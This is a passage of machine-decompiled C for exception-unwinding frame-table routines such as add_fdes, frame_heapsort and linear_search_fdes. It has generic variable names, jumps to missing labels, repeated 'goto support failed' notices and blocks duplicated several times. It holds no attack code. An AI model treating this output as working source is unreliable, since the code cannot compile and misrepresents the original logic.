lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a870a v43 = g98; v46 = v43; v117 = v43 - 0x887a4; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v120; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d } else { v51 = v2; v119 = (int32_t *)0x80a866f; } } else { v51 = v2; v119 = v134; } } else { v27 = v10; // 0x80a8659 v56 = (int32_t)v27; __libc_malloc((int32_t *)(4 * v56 + 8), v39, (int32_t)v1); v66 = g95; v38 = (struct struct_6 *)v66; if (v66 != 0) { // 0x80a8683 *(int32_t *)(v66 + 4) = 0; __libc_malloc((int32_t *)g101, v39, (int32_t)v1); v88 = g95; v17 = (int32_t *)v88; if (v88 != 0) { // 0x80a869d *(int32_t *)(v88 + 4) = 0; // branch -> 0x80a86a4 } // 0x80a86a4 v67 = (int32_t)v4; g101 = v67; if (*(char *)(v67 + 16) == 2) { // 0x80a8a9a g95 = v67; g96 = *(int32_t *)(v67 + 12); g97 = g100 - 28; g99 -= 4; add_fdes(a1, 0, 0); v50 = v2; // branch -> 0x80a86db } else { // 0x80a86b4 v89 = *(int32_t *)(v67 + 12); g95 = v89; v42 = *(int32_t *)v89; g96 = v42; if (v42 != 0) { // 0x80a86bd v68 = g100 - 28; g102 = v68; g101 = v89; g97 = v68; g95 = v67; add_fdes(a1, 0, 0); v70 = g101 + 4; v91 = *(int32_t *)v70; g96 = v91; g101 = v70; if (v91 != 0) { while (true) { // 0x80a86c4 g97 = g102; g95 = (int32_t)v4; add_fdes(a1, 0, 0); v69 = g101 + 4; v90 = *(int32_t *)v69; g96 = v90; g101 = v69; if (v90 == 0) { v50 = (int32_t *)0x80a86d1; // break -> 0x80a86db break; } // continue -> 0x80a86c4 } // 0x80a86db v93 = v38; v92 = (int32_t)v93; if (v93 != NULL) { // 0x80a86eb g96 = v56; if (v93->e1 != v27) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } } // 0x80a86fa v71 = (int32_t)v4; g101 = v71; v72 = v71 + 16; if (*(char *)v72 == 4) { // 0x80a8ae0 v45 = g98; if (*(int16_t *)v72 == 2040) { // 0x80a8af2 v46 = v45; v117 = v45 - 0x89f44; // branch -> 0x80a8713 } else { // 0x80a8ce4 v65 = v45 - 0x89f24; g101 = v65; v46 = v45; v117 = v65; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a870a v43 = g98; v46 = v43; v117 = v43 - 0x887a4; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v50 = (int32_t *)0x80a86d1; } } else { v50 = v2; } } // 0x80a86db v93 = v38; v92 = (int32_t)v93; if (v93 != NULL) { // 0x80a86eb g96 = v56; if (v93->e1 != v27) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } } // 0x80a86fa v71 = (int32_t)v4; g101 = v71; v72 = v71 + 16; if (*(char *)v72 == 4) { // 0x80a8ae0 v45 = g98; if (*(int16_t *)v72 == 2040) { // 0x80a8af2 v46 